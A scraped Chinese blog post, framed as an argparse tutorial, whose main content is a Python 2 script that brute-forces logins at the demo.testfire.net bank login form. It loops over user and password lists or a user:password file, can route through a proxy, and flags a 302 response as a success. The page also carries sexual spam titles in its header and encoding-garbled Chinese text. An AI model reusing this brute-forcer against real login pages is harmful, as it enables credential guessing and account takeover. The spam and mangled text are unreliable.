国产xxxx99真实实拍_久久不雅视频_高清韩国a级特黄毛片_嗯老师别我我受不了了小说

資訊專欄INFORMATION COLUMN

python argparse 的使用

Yumenokanata / 961人閱讀

摘要:一簡(jiǎn)介是用于解析命令行參數(shù)和選項(xiàng)的標(biāo)準(zhǔn)模塊,用于代替已經(jīng)過時(shí)的模塊。二使用步驟爆破成功爆破失敗批量爆破測(cè)試版

一、簡(jiǎn)介:

argparse是python用于解析命令行參數(shù)和選項(xiàng)的標(biāo)準(zhǔn)模塊,用于代替已經(jīng)過時(shí)的optparse模塊。argparse模塊的作用是用于解析命令行參數(shù),例如python parseTest.py input.txt output.txt --user=name --port=8080。

二、使用步驟:

1:import argparse

2:parser = argparse.ArgumentParser()

3:parser.add_argument()

4:parser.parse_args()

# -*- coding:utf-8 -*-


import argparse
import requests
import sys


def login(user, passwd, proxy):
    if proxy:
        proxy = {"http": proxy}
    print proxy
    headers = {
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:51.0) Gecko/20100101 Firefox/51.0",
        "Referer": "http://demo.testfire.net/bank/login.aspx",
        "Upgrade-Insecure-Requests": "1",
        "Content-Type": "application/x-www-form-urlencoded",
    }

    data = {
        "uid": user,
        "passw": passwd,
        "btnSubmit": "Login"
    }
    if proxy:

        html = requests.post("http://demo.testfire.net/bank/login.aspx", proxies=proxy, headers=headers, data=data, allow_redirects=False, verify=False)
    else:
        html = requests.post("http://demo.testfire.net/bank/login.aspx", headers=headers, data=data, allow_redirects=False, verify=False)

    if html.status_code == 302:
        print u"[+] 爆破成功!!", user + "/" + passwd
    else:
        print u"[+] 爆破失敗!!"





if __name__ == "__main__":
    parser = argparse.ArgumentParser(description=u"[+]-----------------NO JS 批量爆破測(cè)試-python版-----------------[+]")
    parser.add_argument("-u", "--user", default=False, dest="user", help="specific one user")
    parser.add_argument("-p", "--password", default=False, dest="password", help="specific one password")
    parser.add_argument("-U", default=False, dest="User", help="specific a directory file of users")
    parser.add_argument("-P", default=False, dest="Password",help="specific a directory file of passwords")
    parser.add_argument("-D", "--dict", default=False, dest="dict",help="specific a dict file of users and passwords")
    # parser.add_option("-T", "--target", default=False, help="specific the target dvwa brute force url")
    parser.add_argument("--proxy", default=False, dest="proxy", help="use a http proxy")

    args = parser.parse_args()
    proxys = args.proxy

    if not ((args.user or args.User) and (args.password or args.Password)) and not args.dict:
        print parser.parse_args(["-h"])
        sys.exit()


    elif ((args.user or args.User) and (args.password or args.Password)) and args.dict:
        print parser.parse_args(["-h"])
        sys.exit()

    elif (args.user or args.User) and (args.password or args.Password):
        users = []

        if args.user:
            users.append(args.user)
        else:
            try:
                user = open(args.User, "r").readlines()
                for i in user:
                    users.append(i[:-1])
            except Exception, e:
                raise e

        passwords = []
        if args.password:
            passwords.append(args.password)
        else:
            try:
                password = open(args.Password, "r").readlines()
                for i in password:
                    passwords.append(i[:-1])
            except Exception, e:
                raise e

        for u in users:
            for p in passwords:
                print proxys
                login(u, p, proxys)


    elif args.dict:

        account_list = []
        try:
            account = open(args.dict, "r").readlines()
            for D in account:
                account_list.append(D)
        except Exception, e:
            raise e

        for D in account_list:
            #time2 = random.randint(2, 90)
            u = D.split(":")[0].strip()
            p = D.split(":")[1].strip()

            login(u, p, proxys)

文章版權(quán)歸作者所有,未經(jīng)允許請(qǐng)勿轉(zhuǎn)載,若此文章存在違規(guī)行為,您可以聯(lián)系管理員刪除。

轉(zhuǎn)載請(qǐng)注明本文地址:http://m.specialneedsforspecialkids.com/yun/44413.html

相關(guān)文章

  • python3 使用argparse更好組織輸入?yún)?shù)

    摘要:?jiǎn)栴}與現(xiàn)狀通常情況下,我們都會(huì)使用這樣的手段來(lái)獲取腳本的輸入?yún)?shù)。 問題與現(xiàn)狀 通常情況下,我們都會(huì)使用sys.argv[n]這樣的手段來(lái)獲取python腳本的輸入?yún)?shù)。這樣做的缺點(diǎn)如下:1 參數(shù)輸入和獲取必須嚴(yán)格按照順序2 在獲取參數(shù)的同時(shí)需要寫一點(diǎn)額外的代碼對(duì)輸入?yún)?shù)進(jìn)行簡(jiǎn)單的合法性檢查3 在輸入?yún)?shù)過多(通常情況下項(xiàng)目構(gòu)建時(shí)入?yún)⒑芏啵绕涫钱?dāng)各個(gè)腳本解耦充分的情況下)導(dǎo)致向其他函...

    yzzz 評(píng)論0 收藏0
  • Python詳解argparse參數(shù)模塊之命令行參數(shù)

      小編給大家寫這篇文章的主要目的,就是給大家詳細(xì)解答,python中的argparse參數(shù)模塊的相關(guān)知識(shí)解答。  前言  help(argparse)查看說明文檔,argparse-Command-line parsing library我們可以知道是一個(gè)命令行解析庫(kù),是關(guān)于參數(shù)解析相關(guān)的一個(gè)模塊。  示例一:最簡(jiǎn)參數(shù)對(duì)象  先來(lái)一段簡(jiǎn)單的代碼,快速熟知下這個(gè)參數(shù)是個(gè)啥。  保存為t.py這樣一...

    89542767 評(píng)論0 收藏0
  • 搭建Pythonargv4種比較常見方式方法

      此篇文章主要是闡述了搭建Pythonargv的4種比較常見方式方法,文章內(nèi)容緊扣主題進(jìn)行詳盡的基本介紹,具有很強(qiáng)的實(shí)用價(jià)值,務(wù)必的朋友可以學(xué)習(xí)一下。  序言  小伙伴們好,在平時(shí)的撰寫Python腳本制作的過程當(dāng)中,我們通常需要根據(jù)argv傳到某些自變量主要參數(shù),使新項(xiàng)目應(yīng)用更加靈便便捷。  分別是:  內(nèi)嵌sys.argv控制模塊  內(nèi)嵌argparse控制模塊  內(nèi)嵌getopt模塊  第...

    89542767 評(píng)論0 收藏0
  • python實(shí)現(xiàn)命令行交互

    摘要:所以就只能使用實(shí)現(xiàn)腳本進(jìn)行交互,和解耦合。使用的庫(kù)和代碼由于命令行執(zhí)行之后,進(jìn)程一直在運(yùn)行,不停的出塊,所以我將出塊的內(nèi)容寫入到文件中。 背景: 最近因?yàn)楣ぷ餍枨笤趯懽詣?dòng)化測(cè)試腳本,主要目的是測(cè)試代碼功能的完整性,然而在使用SSHLibrary庫(kù)進(jìn)行遠(yuǎn)程SSH交互的時(shí)候總是出現(xiàn)問題,比如說遇到需要輸入密碼的交互,總是不能成功,還有遇到一直保持運(yùn)行并實(shí)時(shí)輸出的命令,也無(wú)法讀取其中的輸出。...

    zhangke3016 評(píng)論0 收藏0

發(fā)表評(píng)論

0條評(píng)論

閱讀需要支付1元查看
<